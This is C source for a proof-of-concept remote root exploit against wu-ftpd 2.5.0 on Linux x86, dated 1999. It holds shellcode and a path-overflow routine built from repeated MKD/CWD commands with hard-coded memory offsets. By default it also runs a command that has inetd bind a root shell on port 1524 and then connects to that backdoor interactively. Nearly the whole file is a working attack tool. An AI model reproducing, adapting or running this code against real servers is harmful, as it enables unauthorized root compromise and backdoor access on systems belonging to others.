home *** CD-ROM | disk | FTP | other *** search
- /*
- * Copyright (c) 1999 anathema <anathema@hack.co.za>. All rights reserved.
- * -> PRIVATE. DO NOT DISTRIBUTE. <-
- *
- * wu-ftpd 2.5.0 proof-of-concept remote root exploit (linux x86)
- * Tested against wu-ftpd2.5.0 default source compilation.
- *
- * As we don't perform any error checking in ftp_login(), you should
- * not specify an invalid username, password or initial directory.
- *
- * You will need to obtain the correct offsets for each specific
- * variant of wu-ftpd. Read the comments.
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <ctype.h>
- #include <string.h>
- #include <stdarg.h>
- #include <fcntl.h>
- #include <memory.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
-
- /*
- * You will almost certainly need to modify these for the specific
- * wu-ftpd you are attempting to exploit.
- */
- #define ADDR_MAPPEDPATH 0x8067360
- #define ADDR_ERRCATCH_ST 0x8074f90
- #define ADDR_ERRCATCH_FI 0x8074fa4
-
- /*
- * MAXPATHLEN is usually 1024.
- */
- #define REMOTE_MAXPATHLEN 1024
-
- #define FTP_PORT 21
- #define BD_PORT 1524
- #define RETPOS 255
- #define PRLEN 164
- /* #define VERBOSE */
-
- /*
- * Function prototypes.
- */
- u_long resolve_host(u_char *);
- void ftp_login(int, u_char *, u_char *, u_char *);
- void send_data(int, u_char *, ...);
- void recv_data(int, int);
- void exploit(int, u_char *, u_int, u_int, u_int);
- void surface_patterns(u_long);
- void euphoric(u_long, u_char *, u_char *, u_char *, u_short, u_short,
- u_int, int, u_char *);
-
- char c0de[] =
- "\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x64\x5b\x89\xd9\x80\xc1\x0f\x39"
- "\xd9\x7c\x06\x80\x29\x04\x49\xeb\xf6\x29\xc0\x88\x43\x01\x88\x43\x08\x88\x43"
- "\x10\x87\xf3\xb0\x0c\x8d\x5e\x07\xcd\x80\xb0\x27\x8d\x1e\x29\xc9\xcd\x80\x29"
- "\xc0\xb0\x3d\xcd\x80\x29\xc0\xb0\x0c\x8d\x5e\x02\xcd\x80\x29\xc0\x88\x46\x03"
- "\xb0\x3d\x8d\x5e\x02\xcd\x80\x29\xc0\x8d\x5e\x09\x89\x5b\x08\x89\x43\x0c\x88"
- "\x43\x07\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80\xe8\x97"
- "\xff\xff\xff\xff\xff\xff\x45\x45\x32\x32\x33\x32\x32\x33\x45\x33\x66\x6d\x72"
- "\x33\x77\x6c";
-
- u_long
- resolve_host(u_char *host_name)
- {
- struct in_addr addr;
- struct hostent *host_ent;
-
- addr.s_addr = inet_addr(host_name);
- if (addr.s_addr == -1)
- {
- host_ent = gethostbyname(host_name);
- if (!host_ent) return(0);
- memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
- }
-
- return(addr.s_addr);
- }
-
- void
- ftp_login(int sock, u_char *user, u_char *pass, u_char *dir)
- {
- recv_data(sock, 1);
- send_data(sock, "USER %s\n", user);
- send_data(sock, "PASS %s\n", pass);
- send_data(sock, "CWD %s\n", dir);
- }
-
- void
- send_data(int sock, u_char *buf, ...)
- {
- u_char tmp_buf[4096];
- va_list valist;
-
- memset(tmp_buf, 0, sizeof(tmp_buf));
-
- va_start(valist, buf);
- vsnprintf(tmp_buf, sizeof(tmp_buf), buf, valist);
-
- #ifdef VERBOSE
- fprintf(stderr, "-> %s", tmp_buf);
- #endif /* VERBOSE */
-
- usleep(10000);
- if (write(sock, tmp_buf, strlen(tmp_buf)) == -1)
- {
- perror("write");
- close(sock);
- exit(-1);
- }
-
- va_end(valist);
- recv_data(sock, 1);
- }
-
- void
- recv_data(int sock, int disp)
- {
- u_char tmp_buf[4096];
-
- usleep(10000);
- memset(tmp_buf, 0, sizeof(tmp_buf));
-
- if (recv(sock, tmp_buf, sizeof(tmp_buf) - 1, 0) == -1)
- {
- if (disp)
- {
- perror("recv");
- close(sock);
- exit(-1);
- }
- }
-
- if (disp) fprintf(stderr, ": %s\n", tmp_buf);
- }
-
- void
- exploit(int sock, u_char *pwd, u_int dir_len, u_int p_len, u_int align)
- {
- u_long errcatch_st_addr = ADDR_ERRCATCH_ST;
- u_long errcatch_fi_addr = ADDR_ERRCATCH_FI;
- u_long mappedpath_addr = ADDR_MAPPEDPATH;
- u_long append_addr = errcatch_st_addr;
- u_char padding[4096];
- u_char buf[25000];
- u_int fill_tr = 0;
- int i = 0, nl = 0;
-
- errcatch_st_addr -= p_len;
- errcatch_fi_addr += p_len;
- append_addr += (p_len + align);
- fill_tr = REMOTE_MAXPATHLEN / (dir_len + p_len);
-
- #ifdef VERBOSE
- fprintf(stderr,
- "fill_tr == %d\n"
- "errcatch_st_addr == 0x%lx && "
- "errcatch_fi_addr == 0x%lx && "
- "append_addr == 0x%lx\n",
- fill_tr, errcatch_st_addr, errcatch_fi_addr, append_addr);
- #endif /* VERBOSE */
-
- memset(buf, 0, sizeof(buf));
- memset(padding, 0, sizeof(padding));
- memset(padding, 0x90, RETPOS - (p_len + align));
-
- for (; i < fill_tr; i++)
- {
- send_data(sock, "MKD %s\n", padding);
- send_data(sock, "CWD %s\n", padding);
- }
-
- memset(padding, 0, sizeof(padding));
- memcpy(padding, c0de, strlen(c0de));
- padding[strlen(padding)+1] = 0;
-
- send_data(sock, "MKD %s\n", padding);
- send_data(sock, "CWD %s\n", padding);
-
- memcpy(buf, "CWD ", 4);
- memset(buf + 4, 0x90, strlen(padding));
- append_addr += (dir_len + (84 - p_len));
-
- nl = strlen(buf) + 1;
- for (i = nl; i < (nl + 84 - p_len); i += 4)
- {
- buf[i+0] = (errcatch_st_addr & 0xff);
- buf[i+1] = (errcatch_st_addr >> 8) & 0xff;
- buf[i+2] = (errcatch_st_addr >> 16) & 0xff;
- buf[i+3] = (errcatch_st_addr >> 24) & 0xff;
- }
-
- nl = strlen(buf) + 1;
- for (i = nl; i < (nl + (p_len - dir_len)); i += 4)
- {
- buf[i+0] = (mappedpath_addr & 0xff);
- buf[i+1] = (mappedpath_addr >> 8) & 0xff;
- buf[i+2] = (mappedpath_addr >> 16) & 0xff;
- buf[i+3] = (mappedpath_addr >> 24) & 0xff;
- }
-
- i = strlen(buf) + 1;
- buf[i++] = (errcatch_fi_addr & 0xff);
- buf[i++] = (errcatch_fi_addr >> 8) & 0xff;
- buf[i++] = (errcatch_fi_addr >> 16) & 0xff;
- buf[i++] = (errcatch_fi_addr >> 24) & 0xff;
-
- nl = strlen(buf) + 1;
- for (i = nl; i < (nl + 8); i += 4)
- {
- buf[i+0] = (append_addr & 0xff);
- buf[i+1] = (append_addr >> 8) & 0xff;
- buf[i+2] = (append_addr >> 16) & 0xff;
- buf[i+3] = (append_addr >> 24) & 0xff;
- }
-
- send_data(sock, "%s\n\n", buf);
- }
-
- void
- surface_patterns(u_long dst_ip)
- {
- struct sockaddr_in sin;
- u_char sock_buf[4096];
- fd_set fds;
- int sock;
-
- fprintf(stderr, "Attempting to connect to backdoor..\n");
- sleep(2);
-
- sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1)
- {
- perror("socket allocation");
- exit(-1);
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(BD_PORT);
- sin.sin_addr.s_addr = dst_ip;
-
- if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
- {
- perror("connecting to backdoor");
- close(sock);
- exit(-1);
- }
-
- fprintf(stderr, "owned\n");
- for (;;)
- {
- FD_ZERO(&fds);
- FD_SET(0, &fds); /* STDIN_FILENO */
- FD_SET(sock, &fds);
-
- if (select(255, &fds, NULL, NULL, NULL) == -1)
- {
- perror("select");
- close(sock);
- exit(-1);
- }
-
- memset(sock_buf, 0, sizeof(sock_buf));
-
- if (FD_ISSET(sock, &fds))
- {
- if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
- {
- fprintf(stderr, "Connection closed by foreign host.\n");
- close(sock);
- exit(0);
- }
-
- fprintf(stderr, "%s", sock_buf);
- }
-
- if (FD_ISSET(0, &fds)) /* STDIN_FILENO */
- {
- read(0, sock_buf, sizeof(sock_buf) - 1);
- write(sock, sock_buf, strlen(sock_buf));
- }
- }
-
- /* NOTREACHED */
- }
-
- void
- euphoric(u_long dst_ip, u_char *user, u_char *pass, u_char *dir,
- u_short src_prt, u_short dst_prt, u_int align, int alt_cmd,
- u_char *cmd)
- {
- struct sockaddr_in sin;
- struct in_addr inaddr;
- u_int dir_len;
- int sock;
-
- dir_len = (u_int)strlen(dir);
- sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1)
- {
- perror("socket allocation");
- exit(-1);
- }
-
- if (src_prt)
- {
- struct sockaddr_in min;
- min.sin_family = AF_INET;
- min.sin_port = htons(src_prt);
- min.sin_addr.s_addr = INADDR_ANY;
-
- if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1)
- {
- perror("bind");
- close(sock);
- exit(-1);
- }
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(dst_prt);
- sin.sin_addr.s_addr = dst_ip;
-
- if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
- {
- perror("connecting to ftp daemon");
- close(sock);
- exit(-1);
- }
-
- inaddr.s_addr = dst_ip;
- fprintf(stderr,
- "\nAttacking target `%s`:\n Auth: [%s:%s]\n Dir: [%s]\n",
- inet_ntoa(inaddr), user, pass, dir);
-
- /*
- * Login to the FTP server.
- * No error checking is done here, so you should make sure
- * the login/pass/dir are valid before attempting to exploit.
- */
- ftp_login(sock, user, pass, dir);
-
- /*
- * The game starts here.
- */
- exploit(sock, dir, dir_len, (PRLEN + dir_len), align);
-
- /*
- * Now send the command we want executed to the FTP server.
- */
- send_data(sock, "%s\n", cmd);
-
- if (!alt_cmd)
- {
- /*
- * If the user hasn't specified an alternative command, make
- * the connection to the backdoor.
- [2000]*/
- surface_patterns(dst_ip);
- /* NOTREACHED */
- }
-
- sleep(2);
- fprintf(stderr, "Completed.\n");
- exit(0);
- }
-
- void
- usage(u_char *nomenclature)
- {
- fprintf(stderr,
- "No.\nusage:\t%s dst_host|ip [ -u user ] [ -p pass ] [ -x dir ]\n\t"
- "[ -s src_prt ] [ -d dst_prt ] [ -a align ] [ -c alt_cmd ]\n\n",
- nomenclature);
- exit(0);
- }
-
- int
- main(int argc, char **argv)
- {
- u_long dst_ip = 0;
- u_short src_prt = 0;
- u_short dst_prt = FTP_PORT;
- u_int align = 0;
- u_char *user = "ftp";
- u_char *pass = "-rewt@broken";
- u_char *dir = "incoming";
- u_char cmd[255];
- int opt = 0;
- int alt_cmd = 0;
-
- if (argc < 2)
- {
- usage(argv[0]);
- /* NOTREACHED */
- }
-
- dst_ip = resolve_host(argv[1]);
- if (!dst_ip)
- {
- fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
- exit(-1);
- }
-
- memset(cmd, 0, sizeof(cmd));
- while ((opt = getopt(argc, argv, "u:p:x:s:d:a:c:")) != EOF)
- {
- switch(opt)
- {
- case 'u': /* username */
- user = optarg;
- break;
- case 'p': /* password */
- pass = optarg;
- break;
- case 'x': /* initial directory */
- dir = optarg;
- break;
- case 's': /* source port */
- src_prt = (u_short)atoi(optarg);
- break;
- case 'd': /* alternative dest port */
- dst_prt = (u_short)atoi(optarg);
- break;
- case 'a': /* alignment */
- align = (u_int)atoi(optarg);
- break;
- case 'c': /* alternative command */
- strncpy(cmd, optarg, sizeof(cmd));
- alt_cmd = 1;
- break;
- default:
- usage(argv[0]);
- /* NOTREACHED */
- }
- }
-
- if (src_prt < 1024)
- {
- /*
- * Must be root to bind() to a reserved source port.
- [2000]*/
- if (getuid() && geteuid())
- {
- fprintf(stderr, "Inadequate privileges\n");
- exit(-1);
- }
- }
-
- if (!alt_cmd)
- {
- /*
- * Use the default command.
- * If used, the exploit will automatically spawn a remote shell.
- [2000]*/
- strcpy(cmd, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >/tmp/x; /usr/sbin/inetd /tmp/x\n");
- }
-
- euphoric(dst_ip, /* destination address */
- user, /* username */
- pass, /* password */
- dir, /* initial directory */
- src_prt, /* source port */
- dst_prt, /* destination port */
- align, /* alignment */
- alt_cmd, /* alternative command flag */
- cmd); /* command to execute */
-
- /* NOTREACHED */
- }
-
- /* www.hack.co.za [2000]*/